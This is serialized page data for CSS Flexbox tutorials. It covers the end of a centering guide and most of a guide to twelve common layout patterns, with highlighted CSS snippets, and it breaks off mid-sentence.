Alignment",[16,104746,104747,104748,104751],{},"Flexbox centers flex items, not text inside them. If you want text centered within a flex child, use ",[143,104749,104750],{},"text-align: center"," on the child:",[135,104753,104755],{"className":1554,"code":104754,"language":1556,"meta":141,"style":141},".child {\n  text-align: center; \u002F* Centers inline text *\u002F\n}\n",[143,104756,104757,104764,104777],{"__ignoreMap":141},[1560,104758,104759,104762],{"class":1562,"line":1563},[1560,104760,104761],{"class":1566},".child",[1560,104763,1571],{"class":1570},[1560,104765,104766,104768,104770,104772,104774],{"class":1562,"line":337},[1560,104767,32838],{"class":1576},[1560,104769,1663],{"class":1570},[1560,104771,32199],{"class":1576},[1560,104773,3664],{"class":1570},[1560,104775,104776],{"class":1649},"\u002F* Centers inline text *\u002F\n",[1560,104778,104779],{"class":1562,"line":343},[1560,104780,1585],{"class":1570},[33,104782,104784],{"id":104783},"unequal-item-sizes","Unequal Item Sizes",[16,104786,104787,104788,104790,104791,104794],{},"When flexchildren have different widths, ",[143,104789,32855],{}," centers the group, but the visual center may not align with a specific child. Use ",[143,104792,104793],{},"align-self: center"," on individual children for per-item vertical adjustment.",[11,104796,1124],{"id":1123},[193,104798,104799,104809],{},[196,104800,104801],{},[199,104802,104803,104806],{},[202,104804,104805],{},"Goal",[202,104807,104808],{},"CSS",[211,104810,104811,104820,104829,104840,104850,104861],{},[199,104812,104813,104816],{},[216,104814,104815],{},"Center horizontally",[216,104817,104818],{},[143,104819,32855],{},[199,104821,104822,104825],{},[216,104823,104824],{},"Center vertically",[216,104826,104827],{},[143,104828,32859],{},[199,104830,104831,104834],{},[216,104832,104833],{},"Center both axes",[216,104835,104836,21111,104838],{},[143,104837,32855],{},[143,104839,32859],{},[199,104841,104842,104845],{},[216,104843,104844],{},"Center single child",[216,104846,104847,104849],{},[143,104848,104091],{}," on the child",[199,104851,104852,104855],{},[216,104853,104854],{},"Center wrapped rows",[216,104856,104857,21111,104859],{},[143,104858,33607],{},[143,104860,32855],{},[199,104862,104863,104866],{},[216,104864,104865],{},"Center text inside child",[216,104867,104868,104849],{},[143,104869,104750],{},[11,104871,1355],{"id":1354},[41,104873,104874,104879,104884,104887,104892,104898],{},[44,104875,104876,104878],{},[143,104877,32855],{}," handles horizontal centering on the main axis.",[44,104880,104881,104883],{},[143,104882,32859],{}," handles vertical centering on the cross axis.",[44,104885,104886],{},"Vertical centering requires a defined container height.",[44,104888,104889,104891],{},[143,104890,104091],{}," on a flex child centers it on both axes without touching the container.",[44,104893,104894,104895,104897],{},"Flexbox centers flex items, not text — use ",[143,104896,104750],{}," for inline content.",[44,104899,104900,104901,104903],{},"For wrapped layouts, ",[143,104902,32855],{}," centers each row as a group.",[11,104905,286],{"id":285},[16,104907,104908,104909,468],{},"Build and preview centered layouts interactively with the ",[98,104910,33649],{"href":33648},[2043,104912,104913],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}",{"title":141,"searchDepth":337,"depth":337,"links":104915},[104916,104917,104921,104925,104928,104929,104930,104935,104936,104937],{"id":104084,"depth":337,"text":104085},{"id":104105,"depth":337,"text":104106,"children":104918},[104919,104920],{"id":104109,"depth":343,"text":104110},{"id":104156,"depth":343,"text":104157},{"id":104235,"depth":337,"text":104236,"children":104922},[104923,104924],{"id":104239,"depth":343,"text":104240},{"id":104283,"depth":343,"text":104284},{"id":104340,"depth":337,"text":104341,"children":104926},[104927],{"id":104408,"depth":343,"text":104409},{"id":104482,"depth":337,"text":104483},{"id":104567,"depth":337,"text":104568},{"id":10392,"depth":337,"text":10393,"children":104931},[104932,104933,104934],{"id":104640,"depth":343,"text":104641},{"id":104743,"depth":343,"text":104744},{"id":104783,"depth":343,"text":104784},{"id":1123,"depth":337,"text":1124},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Every way to center content with Flexbox — horizontally, vertically, and both at once.",{"immutable":363},"\u002Fguides\u002Fflexbox-centering-complete-guide",{"title":104079,"description":104938},"guides\u002Fflexbox-centering-complete-guide","i52yvG077tuRvb0WTLaTXmWquy1ZapcWcKPhV3621Uo",{"id":104945,"title":104946,"body":104947,"date":2070,"description":106333,"extension":361,"meta":106334,"navigation":363,"path":106335,"readingTime":1710,"seo":106336,"stem":106337,"__hash__":106338},"guides\u002Fguides\u002Fflexbox-common-patterns.md","12 Essential Flexbox Layout Patterns",{"type":8,"value":104948,"toc":106315},[104949,104953,104959,104963,105038,105044,105048,105125,105128,105132,105238,105241,105245,105329,105332,105336,105410,105413,105417,105531,105537,105541,105605,105608,105612,105699,105702,105706,105753,105756,105760,105864,105870,105874,105987,105990,105994,106118,106121,106123,106270,106272,106306,106308,106313],[11,104950,104952],{"id":104951},"why-patterns-matter","Why Patterns Matter",[16,104954,104955,104956,104958],{},"Learning Flexbox properties in isolation is like learning vocabulary without grammar. The real skill is combining ",[143,104957,58109],{}," with the right alignment, direction, and wrapping properties to solve recurring layout problems. These 12 patterns cover the layouts you build most often.",[11,104960,104962],{"id":104961},"_1-horizontal-navigation-bar","1. Horizontal Navigation Bar",[135,104964,104966],{"className":1554,"code":104965,"language":1556,"meta":141,"style":141},".nav {\n  display: flex;\n  align-items: center;\n  gap: 24px;\n}\n\n.nav-spacer {\n  flex: 1; \u002F* Pushes everything after to the right *\u002F\n}\n",[143,104967,104968,104974,104984,104994,105006,105010,105014,105021,105034],{"__ignoreMap":141},[1560,104969,104970,104972],{"class":1562,"line":1563},[1560,104971,64902],{"class":1566},[1560,104973,1571],{"class":1570},[1560,104975,104976,104978,104980,104982],{"class":1562,"line":337},[1560,104977,12504],{"class":1576},[1560,104979,1663],{"class":1570},[1560,104981,32187],{"class":1576},[1560,104983,2228],{"class":1570},[1560,104985,104986,104988,104990,104992],{"class":1562,"line":343},[1560,104987,32194],{"class":1576},[1560,104989,1663],{"class":1570},[1560,104991,32199],{"class":1576},[1560,104993,2228],{"class":1570},[1560,104995,104996,104998,105000,105002,105004],{"class":1562,"line":365},[1560,104997,32235],{"class":1576},[1560,104999,1663],{"class":1570},[1560,105001,61489],{"class":1576},[1560,105003,1670],{"class":1669},[1560,105005,2228],{"class":1570},[1560,105007,105008],{"class":1562,"line":889},[1560,105009,1585],{"class":1570},[1560,105011,105012],{"class":1562,"line":1710},[1560,105013,1702],{"emptyLinePlaceholder":363},[1560,105015,105016,105019],{"class":1562,"line":1717},[1560,105017,105018],{"class":1566},".nav-spacer",[1560,105020,1571],{"class":1570},[1560,105022,105023,105025,105027,105029,105031],{"class":1562,"line":1747},[1560,105024,32292],{"class":1576},[1560,105026,1663],{"class":1570},[1560,105028,3585],{"class":1576},[1560,105030,3664],{"class":1570},[1560,105032,105033],{"class":1649},"\u002F* Pushes everything after to the right *\u002F\n",[1560,105035,105036],{"class":1562,"line":2507},[1560,105037,1585],{"class":1570},[16,105039,105040,105041,105043],{},"Place a spacer element between the logo and menu items. ",[143,105042,32371],{}," makes it consume all free space, pushing subsequent items to the far right.",[11,105045,105047],{"id":105046},"_2-centered-hero-section","2. Centered Hero Section",[135,105049,105051],{"className":1554,"code":105050,"language":1556,"meta":141,"style":141},".hero {\n  display: flex;\n  flex-direction: column;\n  align-items: center;\n  justify-content: center;\n  min-height: 100vh;\n  text-align: center;\n}\n",[143,105052,105053,105059,105069,105079,105089,105099,105111,105121],{"__ignoreMap":141},[1560,105054,105055,105057],{"class":1562,"line":1563},[1560,105056,32789],{"class":1566},[1560,105058,1571],{"class":1570},[1560,105060,105061,105063,105065,105067],{"class":1562,"line":337},[1560,105062,12504],{"class":1576},[1560,105064,1663],{"class":1570},[1560,105066,32187],{"class":1576},[1560,105068,2228],{"class":1570},[1560,105070,105071,105073,105075,105077],{"class":1562,"line":343},[1560,105072,32686],{"class":1576},[1560,105074,1663],{"class":1570},[1560,105076,32691],{"class":1576},[1560,105078,2228],{"class":1570},[1560,105080,105081,105083,105085,105087],{"class":1562,"line":365},[1560,105082,32194],{"class":1576},[1560,105084,1663],{"class":1570},[1560,105086,32199],{"class":1576},[1560,105088,2228],{"class":1570},[1560,105090,105091,105093,105095,105097],{"class":1562,"line":889},[1560,105092,32316],{"class":1576},[1560,105094,1663],{"class":1570},[1560,105096,32199],{"class":1576},[1560,105098,2228],{"class":1570},[1560,105100,105101,105103,105105,105107,105109],{"class":1562,"line":1710},[1560,105102,32698],{"class":1576},[1560,105104,1663],{"class":1570},[1560,105106,18114],{"class":1576},[1560,105108,32705],{"class":1669},[1560,105110,2228],{"class":1570},[1560,105112,105113,105115,105117,105119],{"class":1562,"line":1717},[1560,105114,32838],{"class":1576},[1560,105116,1663],{"class":1570},[1560,105118,32199],{"class":1576},[1560,105120,2228],{"class":1570},[1560,105122,105123],{"class":1562,"line":1747},[1560,105124,1585],{"class":1570},[16,105126,105127],{},"Column direction stacks heading, subtext, and button vertically. Both alignment properties center the group.",[11,105129,105131],{"id":105130},"_3-card-row","3. Card Row",[135,105133,105135],{"className":1554,"code":105134,"language":1556,"meta":141,"style":141},".card-row {\n  display: flex;\n  gap: 24px;\n  overflow-x: auto;\n  scroll-snap-type: x mandatory;\n}\n\n.card-row > * {\n  flex: 0 0 300px;\n  scroll-snap-align: start;\n}\n",[143,105136,105137,105143,105153,105165,105175,105189,105193,105197,105207,105223,105234],{"__ignoreMap":141},[1560,105138,105139,105141],{"class":1562,"line":1563},[1560,105140,32389],{"class":1566},[1560,105142,1571],{"class":1570},[1560,105144,105145,105147,105149,105151],{"class":1562,"line":337},[1560,105146,12504],{"class":1576},[1560,105148,1663],{"class":1570},[1560,105150,32187],{"class":1576},[1560,105152,2228],{"class":1570},[1560,105154,105155,105157,105159,105161,105163],{"class":1562,"line":343},[1560,105156,32235],{"class":1576},[1560,105158,1663],{"class":1570},[1560,105160,61489],{"class":1576},[1560,105162,1670],{"class":1669},[1560,105164,2228],{"class":1570},[1560,105166,105167,105169,105171,105173],{"class":1562,"line":365},[1560,105168,33326],{"class":1576},[1560,105170,1663],{"class":1570},[1560,105172,33331],{"class":1576},[1560,105174,2228],{"class":1570},[1560,105176,105177,105180,105182,105184,105187],{"class":1562,"line":889},[1560,105178,105179],{"class":1576},"  scroll-snap-type",[1560,105181,1663],{"class":1570},[1560,105183,24787],{"class":1576},[1560,105185,105186],{"class":1576}," mandatory",[1560,105188,2228],{"class":1570},[1560,105190,105191],{"class":1562,"line":1710},[1560,105192,1585],{"class":1570},[1560,105194,105195],{"class":1562,"line":1717},[1560,105196,1702],{"emptyLinePlaceholder":363},[1560,105198,105199,105201,105203,105205],{"class":1562,"line":1747},[1560,105200,32389],{"class":1566},[1560,105202,32916],{"class":1669},[1560,105204,8064],{"class":2484},[1560,105206,1571],{"class":1570},[1560,105208,105209,105211,105213,105215,105217,105219,105221],{"class":1562,"line":2507},[1560,105210,32292],{"class":1576},[1560,105212,1663],{"class":1570},[1560,105214,5285],{"class":1576},[1560,105216,13541],{"class":1576},[1560,105218,32452],{"class":1576},[1560,105220,1670],{"class":1669},[1560,105222,2228],{"class":1570},[1560,105224,105225,105228,105230,105232],{"class":1562,"line":2524},[1560,105226,105227],{"class":1576},"  scroll-snap-align",[1560,105229,1663],{"class":1570},[1560,105231,62962],{"class":1576},[1560,105233,2228],{"class":1570},[1560,105235,105236],{"class":1562,"line":2529},[1560,105237,1585],{"class":1570},[16,105239,105240],{},"Fixed-width cards with horizontal scroll and snap. Ideal for product carousels on mobile.",[11,105242,105244],{"id":105243},"_4-equal-height-card-grid","4. Equal-Height Card Grid",[135,105246,105248],{"className":1554,"code":105247,"language":1556,"meta":141,"style":141},".card-grid {\n  display: flex;\n  flex-wrap: wrap;\n  gap: 24px;\n}\n\n.card-grid > * {\n  flex: 1 1 300px; \u002F* Grow, shrink, min 300px *\u002F\n}\n",[143,105249,105250,105256,105266,105276,105288,105292,105296,105306,105325],{"__ignoreMap":141},[1560,105251,105252,105254],{"class":1562,"line":1563},[1560,105253,63384],{"class":1566},[1560,105255,1571],{"class":1570},[1560,105257,105258,105260,105262,105264],{"class":1562,"line":337},[1560,105259,12504],{"class":1576},[1560,105261,1663],{"class":1570},[1560,105263,32187],{"class":1576},[1560,105265,2228],{"class":1570},[1560,105267,105268,105270,105272,105274],{"class":1562,"line":343},[1560,105269,32406],{"class":1576},[1560,105271,1663],{"class":1570},[1560,105273,32411],{"class":1576},[1560,105275,2228],{"class":1570},[1560,105277,105278,105280,105282,105284,105286],{"class":1562,"line":365},[1560,105279,32235],{"class":1576},[1560,105281,1663],{"class":1570},[1560,105283,61489],{"class":1576},[1560,105285,1670],{"class":1669},[1560,105287,2228],{"class":1570},[1560,105289,105290],{"class":1562,"line":889},[1560,105291,1585],{"class":1570},[1560,105293,105294],{"class":1562,"line":1710},[1560,105295,1702],{"emptyLinePlaceholder":363},[1560,105297,105298,105300,105302,105304],{"class":1562,"line":1717},[1560,105299,63384],{"class":1566},[1560,105301,32916],{"class":1669},[1560,105303,8064],{"class":2484},[1560,105305,1571],{"class":1570},[1560,105307,105308,105310,105312,105314,105316,105318,105320,105322],{"class":1562,"line":1747},[1560,105309,32292],{"class":1576},[1560,105311,1663],{"class":1570},[1560,105313,3585],{"class":1576},[1560,105315,18868],{"class":1576},[1560,105317,32452],{"class":1576},[1560,105319,1670],{"class":1669},[1560,105321,3664],{"class":1570},[1560,105323,105324],{"class":1649},"\u002F* Grow, shrink, min 300px *\u002F\n",[1560,105326,105327],{"class":1562,"line":2507},[1560,105328,1585],{"class":1570},[16,105330,105331],{},"Cards grow to fill the row equally. On narrow screens, they wrap to single column. No media queries needed.",[11,105333,105335],{"id":105334},"_5-sticky-footer","5. Sticky Footer",[135,105337,105339],{"className":1554,"code":105338,"language":1556,"meta":141,"style":141},".page {\n  display: flex;\n  flex-direction: column;\n  min-height: 100vh;\n}\n\n.page-content {\n  flex: 1; \u002F* Pushes footer to the bottom *\u002F\n}\n",[143,105340,105341,105347,105357,105367,105379,105383,105387,105393,105406],{"__ignoreMap":141},[1560,105342,105343,105345],{"class":1562,"line":1563},[1560,105344,32669],{"class":1566},[1560,105346,1571],{"class":1570},[1560,105348,105349,105351,105353,105355],{"class":1562,"line":337},[1560,105350,12504],{"class":1576},[1560,105352,1663],{"class":1570},[1560,105354,32187],{"class":1576},[1560,105356,2228],{"class":1570},[1560,105358,105359,105361,105363,105365],{"class":1562,"line":343},[1560,105360,32686],{"class":1576},[1560,105362,1663],{"class":1570},[1560,105364,32691],{"class":1576},[1560,105366,2228],{"class":1570},[1560,105368,105369,105371,105373,105375,105377],{"class":1562,"line":365},[1560,105370,32698],{"class":1576},[1560,105372,1663],{"class":1570},[1560,105374,18114],{"class":1576},[1560,105376,32705],{"class":1669},[1560,105378,2228],{"class":1570},[1560,105380,105381],{"class":1562,"line":889},[1560,105382,1585],{"class":1570},[1560,105384,105385],{"class":1562,"line":1710},[1560,105386,1702],{"emptyLinePlaceholder":363},[1560,105388,105389,105391],{"class":1562,"line":1717},[1560,105390,32720],{"class":1566},[1560,105392,1571],{"class":1570},[1560,105394,105395,105397,105399,105401,105403],{"class":1562,"line":1747},[1560,105396,32292],{"class":1576},[1560,105398,1663],{"class":1570},[1560,105400,3585],{"class":1576},[1560,105402,3664],{"class":1570},[1560,105404,105405],{"class":1649},"\u002F* Pushes footer to the bottom *\u002F\n",[1560,105407,105408],{"class":1562,"line":2507},[1560,105409,1585],{"class":1570},[16,105411,105412],{},"Content expands to fill available space, keeping the footer at the viewport bottom even when content is short.",[11,105414,105416],{"id":105415},"_6-holy-grail-layout","6. Holy Grail Layout",[135,105418,105420],{"className":1554,"code":105419,"language":1556,"meta":141,"style":141},".holy-grail {\n  display: flex;\n  flex-wrap: wrap;\n}\n\n.holy-grail > nav    { flex: 1 1 200px; }\n.holy-grail > main   { flex: 3 1 400px; }\n.holy-grail > aside  { flex: 1 1 200px; }\n",[143,105421,105422,105428,105438,105448,105452,105456,105481,105506],{"__ignoreMap":141},[1560,105423,105424,105426],{"class":1562,"line":1563},[1560,105425,61213],{"class":1566},[1560,105427,1571],{"class":1570},[1560,105429,105430,105432,105434,105436],{"class":1562,"line":337},[1560,105431,12504],{"class":1576},[1560,105433,1663],{"class":1570},[1560,105435,32187],{"class":1576},[1560,105437,2228],{"class":1570},[1560,105439,105440,105442,105444,105446],{"class":1562,"line":343},[1560,105441,32406],{"class":1576},[1560,105443,1663],{"class":1570},[1560,105445,32411],{"class":1576},[1560,105447,2228],{"class":1570},[1560,105449,105450],{"class":1562,"line":365},[1560,105451,1585],{"class":1570},[1560,105453,105454],{"class":1562,"line":889},[1560,105455,1702],{"emptyLinePlaceholder":363},[1560,105457,105458,105460,105462,105465,105467,105469,105471,105473,105475,105477,105479],{"class":1562,"line":1710},[1560,105459,61213],{"class":1566},[1560,105461,32916],{"class":1669},[1560,105463,105464],{"class":2484}," nav",[1560,105466,44815],{"class":1570},[1560,105468,32187],{"class":1576},[1560,105470,1663],{"class":1570},[1560,105472,3585],{"class":1576},[1560,105474,18868],{"class":1576},[1560,105476,58847],{"class":1576},[1560,105478,1670],{"class":1669},[1560,105480,1673],{"class":1570},[1560,105482,105483,105485,105487,105490,105492,105494,105496,105498,105500,105502,105504],{"class":1562,"line":1717},[1560,105484,61213],{"class":1566},[1560,105486,32916],{"class":1669},[1560,105488,105489],{"class":2484}," main",[1560,105491,16964],{"class":1570},[1560,105493,32187],{"class":1576},[1560,105495,1663],{"class":1570},[1560,105497,17821],{"class":1576},[1560,105499,18868],{"class":1576},[1560,105501,25038],{"class":1576},[1560,105503,1670],{"class":1669},[1560,105505,1673],{"class":1570},[1560,105507,105508,105510,105512,105515,105517,105519,105521,105523,105525,105527,105529],{"class":1562,"line":1747},[1560,105509,61213],{"class":1566},[1560,105511,32916],{"class":1669},[1560,105513,105514],{"class":2484}," aside",[1560,105516,36449],{"class":1570},[1560,105518,32187],{"class":1576},[1560,105520,1663],{"class":1570},[1560,105522,3585],{"class":1576},[1560,105524,18868],{"class":1576},[1560,105526,58847],{"class":1576},[1560,105528,1670],{"class":1669},[1560,105530,1673],{"class":1570},[16,105532,105533,105534,105536],{},"On wide screens, the three columns sit side-by-side with ",[143,105535,8521],{}," taking triple the space. On narrow screens, they stack naturally via wrapping.",[11,105538,105540],{"id":105539},"_7-media-object","7. Media Object",[135,105542,105544],{"className":1554,"code":105543,"language":1556,"meta":141,"style":141},".media {\n  display: flex;\n  gap: 16px;\n}\n\n.media-body {\n  flex: 1; \u002F* Text takes remaining space *\u002F\n}\n",[143,105545,105546,105552,105562,105574,105578,105582,105588,105601],{"__ignoreMap":141},[1560,105547,105548,105550],{"class":1562,"line":1563},[1560,105549,32506],{"class":1566},[1560,105551,1571],{"class":1570},[1560,105553,105554,105556,105558,105560],{"class":1562,"line":337},[1560,105555,12504],{"class":1576},[1560,105557,1663],{"class":1570},[1560,105559,32187],{"class":1576},[1560,105561,2228],{"class":1570},[1560,105563,105564,105566,105568,105570,105572],{"class":1562,"line":343},[1560,105565,32235],{"class":1576},[1560,105567,1663],{"class":1570},[1560,105569,10057],{"class":1576},[1560,105571,1670],{"class":1669},[1560,105573,2228],{"class":1570},[1560,105575,105576],{"class":1562,"line":365},[1560,105577,1585],{"class":1570},[1560,105579,105580],{"class":1562,"line":889},[1560,105581,1702],{"emptyLinePlaceholder":363},[1560,105583,105584,105586],{"class":1562,"line":1710},[1560,105585,32604],{"class":1566},[1560,105587,1571],{"class":1570},[1560,105589,105590,105592,105594,105596,105598],{"class":1562,"line":1717},[1560,105591,32292],{"class":1576},[1560,105593,1663],{"class":1570},[1560,105595,3585],{"class":1576},[1560,105597,3664],{"class":1570},[1560,105599,105600],{"class":1649},"\u002F* Text takes remaining space *\u002F\n",[1560,105602,105603],{"class":1562,"line":1747},[1560,105604,1585],{"class":1570},[16,105606,105607],{},"Avatar on the left, content on the right. The content area grows to fill available width while the image stays fixed.",[11,105609,105611],{"id":105610},"_8-input-group","8. Input Group",[135,105613,105615],{"className":1554,"code":105614,"language":1556,"meta":141,"style":141},".input-group {\n  display: flex;\n}\n\n.input-group input {\n  flex: 1;\n  border-radius: 0;\n}\n\n.input-group button {\n  flex-shrink: 0;\n}\n",[143,105616,105617,105623,105633,105637,105641,105649,105659,105669,105673,105677,105685,105695],{"__ignoreMap":141},[1560,105618,105619,105621],{"class":1562,"line":1563},[1560,105620,33039],{"class":1566},[1560,105622,1571],{"class":1570},[1560,105624,105625,105627,105629,105631],{"class":1562,"line":337},[1560,105626,12504],{"class":1576},[1560,105628,1663],{"class":1570},[1560,105630,32187],{"class":1576},[1560,105632,2228],{"class":1570},[1560,105634,105635],{"class":1562,"line":343},[1560,105636,1585],{"class":1570},[1560,105638,105639],{"class":1562,"line":365},[1560,105640,1702],{"emptyLinePlaceholder":363},[1560,105642,105643,105645,105647],{"class":1562,"line":889},[1560,105644,33039],{"class":1566},[1560,105646,33169],{"class":2484},[1560,105648,1571],{"class":1570},[1560,105650,105651,105653,105655,105657],{"class":1562,"line":1710},[1560,105652,32292],{"class":1576},[1560,105654,1663],{"class":1570},[1560,105656,3585],{"class":1576},[1560,105658,2228],{"class":1570},[1560,105660,105661,105663,105665,105667],{"class":1562,"line":1717},[1560,105662,17294],{"class":1576},[1560,105664,1663],{"class":1570},[1560,105666,5285],{"class":1576},[1560,105668,2228],{"class":1570},[1560,105670,105671],{"class":1562,"line":1747},[1560,105672,1585],{"class":1570},[1560,105674,105675],{"class":1562,"line":2507},[1560,105676,1702],{"emptyLinePlaceholder":363},[1560,105678,105679,105681,105683],{"class":1562,"line":2524},[1560,105680,33039],{"class":1566},[1560,105682,33234],{"class":2484},[1560,105684,1571],{"class":1570},[1560,105686,105687,105689,105691,105693],{"class":1562,"line":2529},[1560,105688,32263],{"class":1576},[1560,105690,1663],{"class":1570},[1560,105692,5285],{"class":1576},[1560,105694,2228],{"class":1570},[1560,105696,105697],{"class":1562,"line":2534},[1560,105698,1585],{"class":1570},[16,105700,105701],{},"Text input stretches to fill space. Button stays at its natural width. Remove individual border-radii and apply them to the group container instead.",[11,105703,105705],{"id":105704},"_9-tag-list","9. Tag List",[135,105707,105709],{"className":1554,"code":105708,"language":1556,"meta":141,"style":141},".tag-list {\n  display: flex;\n  flex-wrap: wrap;\n  gap: 8px;\n}\n",[143,105710,105711,105717,105727,105737,105749],{"__ignoreMap":141},[1560,105712,105713,105715],{"class":1562,"line":1563},[1560,105714,33297],{"class":1566},[1560,105716,1571],{"class":1570},[1560,105718,105719,105721,105723,105725],{"class":1562,"line":337},[1560,105720,12504],{"class":1576},[1560,105722,1663],{"class":1570},[1560,105724,32187],{"class":1576},[1560,105726,2228],{"class":1570},[1560,105728,105729,105731,105733,105735],{"class":1562,"line":343},[1560,105730,32406],{"class":1576},[1560,105732,1663],{"class":1570},[1560,105734,32411],{"class":1576},[1560,105736,2228],{"class":1570},[1560,105738,105739,105741,105743,105745,105747],{"class":1562,"line":365},[1560,105740,32235],{"class":1576},[1560,105742,1663],{"class":1570},[1560,105744,10078],{"class":1576},[1560,105746,1670],{"class":1669},[1560,105748,2228],{"class":1570},[1560,105750,105751],{"class":1562,"line":889},[1560,105752,1585],{"class":1570},[16,105754,105755],{},"Tags flow horizontally and wrap to new lines. Simple and endlessly reusable for filters, labels, and skill lists.",[11,105757,105759],{"id":105758},"_10-sidebar-content","10. Sidebar + Content",[135,105761,105763],{"className":1554,"code":105762,"language":1556,"meta":141,"style":141},".layout {\n  display: flex;\n  gap: 32px;\n}\n\n.sidebar {\n  flex: 0 0 260px;\n}\n\n.content {\n  flex: 1;\n  min-width: 0; \u002F* Prevent overflow from long text *\u002F\n}\n",[143,105764,105765,105771,105781,105793,105797,105801,105807,105823,105827,105831,105837,105847,105860],{"__ignoreMap":141},[1560,105766,105767,105769],{"class":1562,"line":1563},[1560,105768,33471],{"class":1566},[1560,105770,1571],{"class":1570},[1560,105772,105773,105775,105777,105779],{"class":1562,"line":337},[1560,105774,12504],{"class":1576},[1560,105776,1663],{"class":1570},[1560,105778,32187],{"class":1576},[1560,105780,2228],{"class":1570},[1560,105782,105783,105785,105787,105789,105791],{"class":1562,"line":343},[1560,105784,32235],{"class":1576},[1560,105786,1663],{"class":1570},[1560,105788,36042],{"class":1576},[1560,105790,1670],{"class":1669},[1560,105792,2228],{"class":1570},[1560,105794,105795],{"class":1562,"line":365},[1560,105796,1585],{"class":1570},[1560,105798,105799],{"class":1562,"line":889},[1560,105800,1702],{"emptyLinePlaceholder":363},[1560,105802,105803,105805],{"class":1562,"line":1710},[1560,105804,33518],{"class":1566},[1560,105806,1571],{"class":1570},[1560,105808,105809,105811,105813,105815,105817,105819,105821],{"class":1562,"line":1717},[1560,105810,32292],{"class":1576},[1560,105812,1663],{"class":1570},[1560,105814,5285],{"class":1576},[1560,105816,13541],{"class":1576},[1560,105818,102872],{"class":1576},[1560,105820,1670],{"class":1669},[1560,105822,2228],{"class":1570},[1560,105824,105825],{"class":1562,"line":1747},[1560,105826,1585],{"class":1570},[1560,105828,105829],{"class":1562,"line":2507},[1560,105830,1702],{"emptyLinePlaceholder":363},[1560,105832,105833,105835],{"class":1562,"line":2524},[1560,105834,59340],{"class":1566},[1560,105836,1571],{"class":1570},[1560,105838,105839,105841,105843,105845],{"class":1562,"line":2529},[1560,105840,32292],{"class":1576},[1560,105842,1663],{"class":1570},[1560,105844,3585],{"class":1576},[1560,105846,2228],{"class":1570},[1560,105848,105849,105851,105853,105855,105857],{"class":1562,"line":2534},[1560,105850,32464],{"class":1576},[1560,105852,1663],{"class":1570},[1560,105854,5285],{"class":1576},[1560,105856,3664],{"class":1570},[1560,105858,105859],{"class":1649},"\u002F* Prevent overflow from long text *\u002F\n",[1560,105861,105862],{"class":1562,"line":2542},[1560,105863,1585],{"class":1570},[16,105865,105866,105867,105869],{},"Fixed sidebar width, fluid content. ",[143,105868,32647],{}," on content prevents flex items from overflowing their container with long unbroken text.",[11,105871,105873],{"id":105872},"_11-stacked-form","11. Stacked Form",[135,105875,105877],{"className":1554,"code":105876,"language":1556,"meta":141,"style":141},".form-stack {\n  display: flex;\n  flex-direction: column;\n  gap: 16px;\n}\n\n.form-row {\n  display: flex;\n  gap: 12px;\n}\n\n.form-row > * {\n  flex: 1;\n}\n",[143,105878,105879,105886,105896,105906,105918,105922,105926,105933,105943,105955,105959,105963,105973,105983],{"__ignoreMap":141},[1560,105880,105881,105884],{"class":1562,"line":1563},[1560,105882,105883],{"class":1566},".form-stack",[1560,105885,1571],{"class":1570},[1560,105887,105888,105890,105892,105894],{"class":1562,"line":337},[1560,105889,12504],{"class":1576},[1560,105891,1663],{"class":1570},[1560,105893,32187],{"class":1576},[1560,105895,2228],{"class":1570},[1560,105897,105898,105900,105902,105904],{"class":1562,"line":343},[1560,105899,32686],{"class":1576},[1560,105901,1663],{"class":1570},[1560,105903,32691],{"class":1576},[1560,105905,2228],{"class":1570},[1560,105907,105908,105910,105912,105914,105916],{"class":1562,"line":365},[1560,105909,32235],{"class":1576},[1560,105911,1663],{"class":1570},[1560,105913,10057],{"class":1576},[1560,105915,1670],{"class":1669},[1560,105917,2228],{"class":1570},[1560,105919,105920],{"class":1562,"line":889},[1560,105921,1585],{"class":1570},[1560,105923,105924],{"class":1562,"line":1710},[1560,105925,1702],{"emptyLinePlaceholder":363},[1560,105927,105928,105931],{"class":1562,"line":1717},[1560,105929,105930],{"class":1566},".form-row",[1560,105932,1571],{"class":1570},[1560,105934,105935,105937,105939,105941],{"class":1562,"line":1747},[1560,105936,12504],{"class":1576},[1560,105938,1663],{"class":1570},[1560,105940,32187],{"class":1576},[1560,105942,2228],{"class":1570},[1560,105944,105945,105947,105949,105951,105953],{"class":1562,"line":2507},[1560,105946,32235],{"class":1576},[1560,105948,1663],{"class":1570},[1560,105950,13566],{"class":1576},[1560,105952,1670],{"class":1669},[1560,105954,2228],{"class":1570},[1560,105956,105957],{"class":1562,"line":2524},[1560,105958,1585],{"class":1570},[1560,105960,105961],{"class":1562,"line":2529},[1560,105962,1702],{"emptyLinePlaceholder":363},[1560,105964,105965,105967,105969,105971],{"class":1562,"line":2534},[1560,105966,105930],{"class":1566},[1560,105968,32916],{"class":1669},[1560,105970,8064],{"class":2484},[1560,105972,1571],{"class":1570},[1560,105974,105975,105977,105979,105981],{"class":1562,"line":2542},[1560,105976,32292],{"class":1576},[1560,105978,1663],{"class":1570},[1560,105980,3585],{"class":1576},[1560,105982,2228],{"class":1570},[1560,105984,105985],{"class":1562,"line":2558},[1560,105986,1585],{"class":1570},[16,105988,105989],{},"Vertical stack for the overall form, horizontal split for inline fields (first name + last 